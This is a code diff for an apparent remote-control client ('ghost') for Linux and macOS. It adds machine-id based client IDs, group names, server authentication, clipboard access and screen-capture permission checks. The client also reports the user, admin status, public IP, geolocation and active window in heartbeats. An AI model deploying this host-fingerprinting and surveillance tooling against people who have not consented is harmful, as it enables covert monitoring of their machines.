@@ -841,6 +628,49 @@ std::string getUsername()
|
|||||||
return u ? u : "?";
|
return u ? u : "?";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 读取 systemd / dbus 维护的 machine-id(与 Windows MachineGuid 等价)
|
||||||
|
// /etc/machine-id 在系统首次启动时生成的随机 32 字符 hex GUID。
|
||||||
|
// 对应 Windows: HKLM\Software\Microsoft\Cryptography\MachineGuid。
|
||||||
|
// 重装系统才会变;同一镜像 dd 出来的多机会撞——但规范的批量部署
|
||||||
|
// 工具 (cloud-init / kickstart) 会重置它。
|
||||||
|
static std::string getMachineId()
|
||||||
|
{
|
||||||
|
// 优先 /etc/machine-id;某些精简系统可能放在 /var/lib/dbus/machine-id
|
||||||
|
const char* paths[] = { "/etc/machine-id", "/var/lib/dbus/machine-id" };
|
||||||
|
for (const char* p : paths) {
|
||||||
|
std::ifstream f(p);
|
||||||
|
if (!f.is_open()) continue;
|
||||||
|
std::string id;
|
||||||
|
std::getline(f, id);
|
||||||
|
// 去掉尾部空白和换行
|
||||||
|
while (!id.empty() && (id.back() == '\n' || id.back() == '\r' ||
|
||||||
|
id.back() == ' ' || id.back() == '\t')) {
|
||||||
|
id.pop_back();
|
||||||
|
}
|
||||||
|
if (!id.empty()) return id;
|
||||||
|
}
|
||||||
|
return std::string();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 路径归一化(Linux 版):解析符号链接 + 转小写
|
||||||
|
// realpath 等价于 Windows 的 GetLongPathName,把 /usr/local/bin/../foo 这种
|
||||||
|
// 折回到规范形式;小写化避免大小写差异引起 ID 不同(Linux 文件系统本身大小写
|
||||||
|
// 敏感,但保持与 Windows V2 算法一致的归一化策略,跨端一致性优先)。
|
||||||
|
static std::string normalizeExePathLower(const std::string& path)
|
||||||
|
{
|
||||||
|
char resolved[PATH_MAX] = {};
|
||||||
|
std::string out;
|
||||||
|
if (realpath(path.c_str(), resolved) != nullptr) {
|
||||||
|
out = resolved;
|
||||||
|
} else {
|
||||||
|
out = path; // 解析失败(罕见):用原值
|
||||||
|
}
|
||||||
|
for (auto& c : out) {
|
||||||
|
if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
// 获取屏幕分辨率字符串(格式 "显示器数:宽*高")
|
// 获取屏幕分辨率字符串(格式 "显示器数:宽*高")
|
||||||
std::string getScreenResolution()
|
std::string getScreenResolution()
|
||||||
{
|
{
|
||||||
@@ -874,87 +704,14 @@ std::string getScreenResolution()
|
|||||||
return "0:0*0";
|
return "0:0*0";
|
||||||
}
|
}
|
||||||
|
|
||||||
// 执行命令并返回输出
|
// execCmd / httpGet / getPublicIP / jsonExtract / getGeoLocation 已抽到
|
||||||
static std::string execCmd(const std::string& cmd)
|
// common/posix_net_helpers.h(namespace PosixNet)。下面保留同名 wrapper,避免
|
||||||
{
|
// 改动调用点。Linux 历史调用风格保留:自由函数无 namespace。
|
||||||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
|
static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); }
|
||||||
if (!pipe) return "";
|
static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); }
|
||||||
char buf[4096];
|
static inline std::string jsonExtract(const std::string& json, const std::string& key) { return PosixNet::jsonExtract(json, key); }
|
||||||
std::string result;
|
inline std::string getPublicIP() { return PosixNet::getPublicIP(); }
|
||||||
while (fgets(buf, sizeof(buf), pipe.get())) {
|
inline std::string getGeoLocation(const std::string& ip){ return PosixNet::getGeoLocation(ip); }
|
||||||
result += buf;
|
|
||||||
}
|
|
||||||
// 去除尾部空白
|
|
||||||
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
|
|
||||||
result.pop_back();
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
// HTTP GET 请求(优先 curl,备选 wget)
|
|
||||||
static std::string httpGet(const std::string& url, int timeoutSec = 5)
|
|
||||||
{
|
|
||||||
std::string t = std::to_string(timeoutSec);
|
|
||||||
// 优先使用 curl
|
|
||||||
std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
|
|
||||||
if (!r.empty()) return r;
|
|
||||||
// 备选 wget(Ubuntu 默认自带)
|
|
||||||
r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null");
|
|
||||||
return r;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取公网 IP(轮询多个查询源,与 Windows 端一致)
|
|
||||||
std::string getPublicIP()
|
|
||||||
{
|
|
||||||
static const char* urls[] = {
|
|
||||||
"https://checkip.amazonaws.com",
|
|
||||||
"https://api.ipify.org",
|
|
||||||
"https://ipinfo.io/ip",
|
|
||||||
"https://icanhazip.com",
|
|
||||||
"https://ifconfig.me/ip",
|
|
||||||
};
|
|
||||||
for (auto& url : urls) {
|
|
||||||
std::string ip = httpGet(url, 3);
|
|
||||||
// 简单校验:非空且看起来像 IP(含有点号,长度合理)
|
|
||||||
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
|
|
||||||
Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url);
|
|
||||||
return ip;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Mprintf("getPublicIP: all sources failed\n");
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
// 从 JSON 字符串中提取指定 key 的值(简易解析,不依赖 jsoncpp)
|
|
||||||
// 支持格式: "key": "value" 或 "key":"value"
|
|
||||||
static std::string jsonExtract(const std::string& json, const std::string& key)
|
|
||||||
{
|
|
||||||
std::string needle = "\"" + key + "\"";
|
|
||||||
size_t pos = json.find(needle);
|
|
||||||
if (pos == std::string::npos) return "";
|
|
||||||
pos = json.find(':', pos + needle.size());
|
|
||||||
if (pos == std::string::npos) return "";
|
|
||||||
pos = json.find('"', pos + 1);
|
|
||||||
if (pos == std::string::npos) return "";
|
|
||||||
size_t end = json.find('"', pos + 1);
|
|
||||||
if (end == std::string::npos) return "";
|
|
||||||
return json.substr(pos + 1, end - pos - 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取 IP 地理位置(通过 ipinfo.io,与 Windows 端一致)
|
|
||||||
std::string getGeoLocation(const std::string& ip)
|
|
||||||
{
|
|
||||||
if (ip.empty()) return "";
|
|
||||||
std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5);
|
|
||||||
if (json.empty()) return "";
|
|
||||||
|
|
||||||
std::string country = jsonExtract(json, "country");
|
|
||||||
std::string city = jsonExtract(json, "city");
|
|
||||||
|
|
||||||
if (city.empty() && country.empty()) return "";
|
|
||||||
if (city.empty()) return country;
|
|
||||||
if (country.empty()) return city;
|
|
||||||
return city + ", " + country;
|
|
||||||
}
|
|
||||||
|
|
||||||
// ============== 守护进程 ==============
|
// ============== 守护进程 ==============
|
||||||
|
|
||||||
@@ -1077,8 +834,23 @@ int main(int argc, char* argv[])
|
|||||||
|
|
||||||
LOGIN_INFOR logInfo;
|
LOGIN_INFOR logInfo;
|
||||||
|
|
||||||
// 主机名
|
// 读取分组名称(从配置文件或 g_SETTINGS)
|
||||||
|
LinuxConfig cfgGroup;
|
||||||
|
std::string groupName = cfgGroup.GetStr("group_name");
|
||||||
|
if (!groupName.empty()) {
|
||||||
|
// 更新 g_SETTINGS
|
||||||
|
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
} else if (g_SETTINGS.szGroupName[0] != 0) {
|
||||||
|
groupName = g_SETTINGS.szGroupName;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 主机名(带分组:hostname/groupname)
|
||||||
|
if (!groupName.empty()) {
|
||||||
|
std::string pcNameWithGroup = std::string(hostname) + "/" + groupName;
|
||||||
|
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
|
||||||
|
} else {
|
||||||
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
|
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
|
||||||
|
}
|
||||||
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
||||||
|
|
||||||
// 操作系统版本(如 "Ubuntu 24.04 LTS")
|
// 操作系统版本(如 "Ubuntu 24.04 LTS")
|
||||||
@@ -1146,7 +918,19 @@ int main(int argc, char* argv[])
|
|||||||
logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME
|
logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME
|
||||||
logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN
|
logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN
|
||||||
logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION
|
logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION
|
||||||
// 计算客户端 ID(与服务端 CONTEXT_OBJECT::CalculateID 相同算法)
|
// V2 ID 算法:machine-id + 归一化路径
|
||||||
|
// - 同机同程序路径永远同 ID(不依赖 IP/hostname/distro/CPU 漂移)
|
||||||
|
// - 局域网多机即便同镜像,cloud-init/kickstart 会让 machine-id 各不同
|
||||||
|
// - machine-id 读取失败时退化到老算法(pubIP|hostname|distro|cpu|path)保兼容
|
||||||
|
std::string machineId = getMachineId();
|
||||||
|
if (!machineId.empty()) {
|
||||||
|
std::string normPath = normalizeExePathLower(exePath);
|
||||||
|
std::string idInput = machineId + "|" + normPath;
|
||||||
|
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||||
|
Mprintf("Calculated clientID(v2): %llu (machineId=%s, path=%s)\n",
|
||||||
|
g_myClientID, machineId.c_str(), normPath.c_str());
|
||||||
|
} else {
|
||||||
|
// 老算法兜底(与服务端 CONTEXT_OBJECT::CalculateID 相同算法)
|
||||||
// 格式: pubIP|hostname|os|cpu|path
|
// 格式: pubIP|hostname|os|cpu|path
|
||||||
char cpuStr[32];
|
char cpuStr[32];
|
||||||
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz);
|
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz);
|
||||||
@@ -1156,12 +940,16 @@ int main(int argc, char* argv[])
|
|||||||
cpuStr + "|" +
|
cpuStr + "|" +
|
||||||
exePath;
|
exePath;
|
||||||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||||
Mprintf("Calculated clientID: %llu (from: %s)\n", g_myClientID, idInput.c_str());
|
Mprintf("Calculated clientID(v1 fallback): %llu (machine-id 读取失败)\n", g_myClientID);
|
||||||
|
}
|
||||||
|
|
||||||
logInfo.AddReserved(std::to_string(g_myClientID).c_str()); // [16] RES_CLIENT_ID
|
logInfo.AddReserved(std::to_string(g_myClientID).c_str()); // [16] RES_CLIENT_ID
|
||||||
logInfo.AddReserved((int)getpid()); // [17] RES_PID
|
logInfo.AddReserved((int)getpid()); // [17] RES_PID
|
||||||
logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE
|
logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE
|
||||||
|
|
||||||
|
// 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID)
|
||||||
|
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
|
||||||
|
|
||||||
// 初始化用户活动检测器(用于心跳包中的 ActiveWnd 字段)
|
// 初始化用户活动检测器(用于心跳包中的 ActiveWnd 字段)
|
||||||
ActivityChecker activityChecker;
|
ActivityChecker activityChecker;
|
||||||
|
|
||||||
@@ -1174,10 +962,27 @@ int main(int argc, char* argv[])
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 进入新连接,重置服务端身份校验状态
|
||||||
|
ClientAuth::OnNewConnection();
|
||||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||||
|
|
||||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
||||||
|
// 检查是否需要重发登录信息(分组变更后)
|
||||||
|
if (g_needResendLogin.exchange(false)) {
|
||||||
|
// 更新 szPCName(hostname/groupname 格式)
|
||||||
|
std::string grp = g_SETTINGS.szGroupName;
|
||||||
|
if (!grp.empty()) {
|
||||||
|
std::string pcNameWithGroup = std::string(hostname) + "/" + grp;
|
||||||
|
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
|
||||||
|
} else {
|
||||||
|
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
|
||||||
|
}
|
||||||
|
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
||||||
|
ClientObject->SendLoginInfo(logInfo);
|
||||||
|
Mprintf(">> Resent login info after group change\n");
|
||||||
|
}
|
||||||
|
|
||||||
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
||||||
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||||||
for (int i = 0; i < interval; ++i) {
|
for (int i = 0; i < interval; ++i) {
|
||||||
@@ -1188,8 +993,19 @@ int main(int argc, char* argv[])
|
|||||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
// 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连,
|
||||||
|
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。
|
||||||
|
if (ClientAuth::IsTimedOut()) {
|
||||||
|
ClientObject->Disconnect(); // 关闭 socket,防止重连时 fd 泄漏
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
||||||
std::string activity = utf8ToGbk(activityChecker.Check());
|
// ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的
|
||||||
|
// CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容
|
||||||
|
// MBCS 老服务端做过 utf8ToGbk 转换,但现在新版 Linux 客户端经
|
||||||
|
// libsign 网关只能连新版服务端,无需再转。
|
||||||
|
std::string activity = activityChecker.Check();
|
||||||
|
|
||||||
Heartbeat hb;
|
Heartbeat hb;
|
||||||
hb.Time = GetUnixMs();
|
hb.Time = GetUnixMs();
|
||||||
@@ -1200,10 +1016,16 @@ int main(int argc, char* argv[])
|
|||||||
buf[0] = TOKEN_HEARTBEAT;
|
buf[0] = TOKEN_HEARTBEAT;
|
||||||
memcpy(buf + 1, &hb, sizeof(Heartbeat));
|
memcpy(buf + 1, &hb, sizeof(Heartbeat));
|
||||||
ClientObject->Send2Server((char*)buf, sizeof(buf));
|
ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||||
|
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
||||||
|
static time_t lastSendLog = 0;
|
||||||
|
time_t now_s = time(nullptr);
|
||||||
|
if (now_s - lastSendLog >= 60) {
|
||||||
|
lastSendLog = now_s;
|
||||||
Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
|
Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
|
||||||
hb.Ping, interval, activity.c_str());
|
hb.Ping, interval, activity.c_str());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
Logger::getInstance().stop();
|
Logger::getInstance().stop();
|
||||||
removePidFile();
|
removePidFile();
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ set(SOURCES
|
|||||||
main.mm
|
main.mm
|
||||||
../client/Buffer.cpp
|
../client/Buffer.cpp
|
||||||
../client/IOCPClient.cpp
|
../client/IOCPClient.cpp
|
||||||
|
../client/sign_shim_unix.cpp
|
||||||
ScreenHandler.mm
|
ScreenHandler.mm
|
||||||
InputHandler.mm
|
InputHandler.mm
|
||||||
SystemManager.mm
|
SystemManager.mm
|
||||||
@@ -45,6 +46,8 @@ find_library(CARBON_FRAMEWORK Carbon REQUIRED)
|
|||||||
find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED)
|
find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED)
|
||||||
find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED)
|
find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED)
|
||||||
find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
|
find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
|
||||||
|
find_library(ACCELERATE_FRAMEWORK Accelerate REQUIRED)
|
||||||
|
find_library(ICONV_LIBRARY iconv REQUIRED)
|
||||||
|
|
||||||
target_link_libraries(ghost PRIVATE
|
target_link_libraries(ghost PRIVATE
|
||||||
${COCOA_FRAMEWORK}
|
${COCOA_FRAMEWORK}
|
||||||
@@ -57,7 +60,14 @@ target_link_libraries(ghost PRIVATE
|
|||||||
${VIDEOTOOLBOX_FRAMEWORK}
|
${VIDEOTOOLBOX_FRAMEWORK}
|
||||||
${COREMEDIA_FRAMEWORK}
|
${COREMEDIA_FRAMEWORK}
|
||||||
${COREVIDEO_FRAMEWORK}
|
${COREVIDEO_FRAMEWORK}
|
||||||
|
${ACCELERATE_FRAMEWORK}
|
||||||
|
${ICONV_LIBRARY}
|
||||||
"${CMAKE_SOURCE_DIR}/lib/libzstd.a"
|
"${CMAKE_SOURCE_DIR}/lib/libzstd.a"
|
||||||
|
# 私有签名库(提供 signMessage / verifyMessage,源码不开源)
|
||||||
|
# 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好
|
||||||
|
# libsign.a 内部使用 macOS CommonCrypto(HMAC-SHA256),CCHmac 在 libSystem
|
||||||
|
# 中已被 Cocoa/CoreFoundation 等链接自动引入,故此处无需额外 framework
|
||||||
|
"${CMAKE_SOURCE_DIR}/lib/libsign.a"
|
||||||
)
|
)
|
||||||
|
|
||||||
# Compiler flags
|
# Compiler flags
|
||||||
|
|||||||
186
macos/ClipboardHandler.h
Normal file
186
macos/ClipboardHandler.h
Normal file
@@ -0,0 +1,186 @@
|
|||||||
|
#pragma once
|
||||||
|
#import <Cocoa/Cocoa.h>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// macOS 剪贴板操作封装
|
||||||
|
// 使用 NSPasteboard API 实现
|
||||||
|
|
||||||
|
class ClipboardHandler
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
// 检查剪贴板功能是否可用 (macOS 总是可用)
|
||||||
|
static bool IsAvailable()
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取剪贴板中的文件列表
|
||||||
|
// 返回文件的完整路径列表(UTF-8),失败返回空列表
|
||||||
|
static std::vector<std::string> GetFiles()
|
||||||
|
{
|
||||||
|
std::vector<std::string> files;
|
||||||
|
|
||||||
|
@autoreleasepool {
|
||||||
|
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
|
||||||
|
|
||||||
|
// 方法1: 尝试获取文件 URL 列表 (macOS 10.13+)
|
||||||
|
NSArray<NSURL*>* urls = [pasteboard readObjectsForClasses:@[[NSURL class]]
|
||||||
|
options:@{NSPasteboardURLReadingFileURLsOnlyKey: @YES}];
|
||||||
|
if (urls && urls.count > 0) {
|
||||||
|
for (NSURL* url in urls) {
|
||||||
|
if (url.isFileURL) {
|
||||||
|
NSString* path = url.path;
|
||||||
|
if (path) {
|
||||||
|
files.push_back([path UTF8String]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return files;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 方法2: 兼容旧版 API (NSFilenamesPboardType)
|
||||||
|
NSArray* filenames = [pasteboard propertyListForType:NSFilenamesPboardType];
|
||||||
|
if (filenames && [filenames isKindOfClass:[NSArray class]]) {
|
||||||
|
for (NSString* path in filenames) {
|
||||||
|
if ([path isKindOfClass:[NSString class]]) {
|
||||||
|
files.push_back([path UTF8String]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return files;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取剪贴板文本
|
||||||
|
// 返回 UTF-8 编码的文本,失败返回空字符串
|
||||||
|
static std::string GetText()
|
||||||
|
{
|
||||||
|
@autoreleasepool {
|
||||||
|
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
|
||||||
|
NSString* text = [pasteboard stringForType:NSPasteboardTypeString];
|
||||||
|
if (text) {
|
||||||
|
return [text UTF8String];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置剪贴板文本
|
||||||
|
// text: UTF-8 编码的文本
|
||||||
|
// 返回是否成功
|
||||||
|
static bool SetText(const std::string& text)
|
||||||
|
{
|
||||||
|
if (text.empty()) return true;
|
||||||
|
|
||||||
|
@autoreleasepool {
|
||||||
|
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
|
||||||
|
[pasteboard clearContents];
|
||||||
|
|
||||||
|
NSString* nsText = [NSString stringWithUTF8String:text.c_str()];
|
||||||
|
if (nsText) {
|
||||||
|
return [pasteboard setString:nsText forType:NSPasteboardTypeString];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置剪贴板文本(从原始字节)
|
||||||
|
// data: 文本数据(可能是 GBK 或 UTF-8)
|
||||||
|
// len: 数据长度
|
||||||
|
static bool SetTextRaw(const char* data, size_t len)
|
||||||
|
{
|
||||||
|
if (!data || len == 0) return true;
|
||||||
|
|
||||||
|
// 服务端发来的文本可能是 GBK 编码,尝试转换为 UTF-8
|
||||||
|
std::string text = ConvertToUtf8(data, len);
|
||||||
|
return SetText(text);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置剪贴板文件列表
|
||||||
|
// files: UTF-8 编码的文件路径列表
|
||||||
|
// 返回是否成功
|
||||||
|
static bool SetFiles(const std::vector<std::string>& files)
|
||||||
|
{
|
||||||
|
if (files.empty()) return true;
|
||||||
|
|
||||||
|
@autoreleasepool {
|
||||||
|
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
|
||||||
|
[pasteboard clearContents];
|
||||||
|
|
||||||
|
NSMutableArray<NSURL*>* urls = [NSMutableArray arrayWithCapacity:files.size()];
|
||||||
|
for (const auto& path : files) {
|
||||||
|
NSString* nsPath = [NSString stringWithUTF8String:path.c_str()];
|
||||||
|
if (nsPath) {
|
||||||
|
NSURL* url = [NSURL fileURLWithPath:nsPath];
|
||||||
|
if (url) {
|
||||||
|
[urls addObject:url];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (urls.count > 0) {
|
||||||
|
return [pasteboard writeObjects:urls];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// 检查是否是有效的 UTF-8 序列
|
||||||
|
static bool IsValidUtf8(const char* data, size_t len)
|
||||||
|
{
|
||||||
|
const unsigned char* bytes = (const unsigned char*)data;
|
||||||
|
size_t i = 0;
|
||||||
|
|
||||||
|
while (i < len) {
|
||||||
|
if (bytes[i] <= 0x7F) {
|
||||||
|
// ASCII
|
||||||
|
i++;
|
||||||
|
} else if ((bytes[i] & 0xE0) == 0xC0) {
|
||||||
|
// 2-byte sequence
|
||||||
|
if (i + 1 >= len || (bytes[i + 1] & 0xC0) != 0x80) return false;
|
||||||
|
i += 2;
|
||||||
|
} else if ((bytes[i] & 0xF0) == 0xE0) {
|
||||||
|
// 3-byte sequence
|
||||||
|
if (i + 2 >= len || (bytes[i + 1] & 0xC0) != 0x80 || (bytes[i + 2] & 0xC0) != 0x80) return false;
|
||||||
|
i += 3;
|
||||||
|
} else if ((bytes[i] & 0xF8) == 0xF0) {
|
||||||
|
// 4-byte sequence
|
||||||
|
if (i + 3 >= len || (bytes[i + 1] & 0xC0) != 0x80 ||
|
||||||
|
(bytes[i + 2] & 0xC0) != 0x80 || (bytes[i + 3] & 0xC0) != 0x80) return false;
|
||||||
|
i += 4;
|
||||||
|
} else {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试将 GBK 转换为 UTF-8
|
||||||
|
// 如果已经是 UTF-8,直接返回
|
||||||
|
static std::string ConvertToUtf8(const char* data, size_t len)
|
||||||
|
{
|
||||||
|
// 检查是否已经是有效的 UTF-8
|
||||||
|
if (IsValidUtf8(data, len)) {
|
||||||
|
return std::string(data, len);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用 NSString 进行编码转换 (GBK = CFStringEncodingGB_18030_2000)
|
||||||
|
@autoreleasepool {
|
||||||
|
// 尝试 GBK (GB18030) 编码
|
||||||
|
NSStringEncoding gbkEncoding = CFStringConvertEncodingToNSStringEncoding(kCFStringEncodingGB_18030_2000);
|
||||||
|
NSString* str = [[NSString alloc] initWithBytes:data length:len encoding:gbkEncoding];
|
||||||
|
if (str) {
|
||||||
|
const char* utf8 = [str UTF8String];
|
||||||
|
if (utf8) {
|
||||||
|
return std::string(utf8);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 转换失败,返回原始数据
|
||||||
|
return std::string(data, len);
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -6,8 +6,27 @@
|
|||||||
bool Permissions::checkScreenCapture() {
|
bool Permissions::checkScreenCapture() {
|
||||||
// macOS 10.15+ requires screen recording permission
|
// macOS 10.15+ requires screen recording permission
|
||||||
if (@available(macOS 10.15, *)) {
|
if (@available(macOS 10.15, *)) {
|
||||||
// Use CGPreflightScreenCaptureAccess for reliable permission check
|
// CGPreflightScreenCaptureAccess() is unreliable - it can return false
|
||||||
// This API is available since macOS 10.15
|
// even when permission is granted (especially after code re-signing).
|
||||||
|
// Instead, actually try to capture the screen to verify permission.
|
||||||
|
|
||||||
|
CGDirectDisplayID displayID = CGMainDisplayID();
|
||||||
|
CGImageRef image = CGDisplayCreateImage(displayID);
|
||||||
|
|
||||||
|
if (image != NULL) {
|
||||||
|
// Got an image - permission is granted
|
||||||
|
// Additional check: verify image has actual content (not blank)
|
||||||
|
size_t width = CGImageGetWidth(image);
|
||||||
|
size_t height = CGImageGetHeight(image);
|
||||||
|
CGImageRelease(image);
|
||||||
|
|
||||||
|
if (width > 0 && height > 0) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Failed to capture - permission not granted or display issue
|
||||||
|
// Fall back to preflight check for triggering dialog
|
||||||
return CGPreflightScreenCaptureAccess();
|
return CGPreflightScreenCaptureAccess();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -2,13 +2,17 @@
|
|||||||
|
|
||||||
#import <CoreGraphics/CoreGraphics.h>
|
#import <CoreGraphics/CoreGraphics.h>
|
||||||
#import <dispatch/dispatch.h>
|
#import <dispatch/dispatch.h>
|
||||||
|
#import <IOKit/pwr_mgt/IOPMLib.h>
|
||||||
|
#import <IOSurface/IOSurface.h>
|
||||||
#import "../client/IOCPClient.h"
|
#import "../client/IOCPClient.h"
|
||||||
|
#import "../common/commands.h" // QualityLevel, QualityProfile, ALGORITHM_*
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <atomic>
|
#include <atomic>
|
||||||
#include <mutex>
|
#include <mutex>
|
||||||
#include <thread>
|
#include <thread>
|
||||||
#include <cstdint>
|
#include <cstdint>
|
||||||
#include <memory>
|
#include <memory>
|
||||||
|
#include <condition_variable>
|
||||||
|
|
||||||
// Forward declarations
|
// Forward declarations
|
||||||
class IOCPClient;
|
class IOCPClient;
|
||||||
@@ -32,11 +36,7 @@ struct BITMAPINFOHEADER_MAC {
|
|||||||
};
|
};
|
||||||
#pragma pack(pop)
|
#pragma pack(pop)
|
||||||
|
|
||||||
// Screen algorithm constants
|
// Algorithm constants from commands.h: ALGORITHM_GRAY, ALGORITHM_DIFF, ALGORITHM_H264, ALGORITHM_RGB565
|
||||||
#define ALGORITHM_GRAY 0
|
|
||||||
#define ALGORITHM_DIFF 1
|
|
||||||
#define ALGORITHM_H264 2
|
|
||||||
#define ALGORITHM_RGB565 3
|
|
||||||
|
|
||||||
class ScreenHandler : public IOCPManager {
|
class ScreenHandler : public IOCPManager {
|
||||||
public:
|
public:
|
||||||
@@ -120,6 +120,7 @@ private:
|
|||||||
std::vector<uint8_t> m_prevFrame;
|
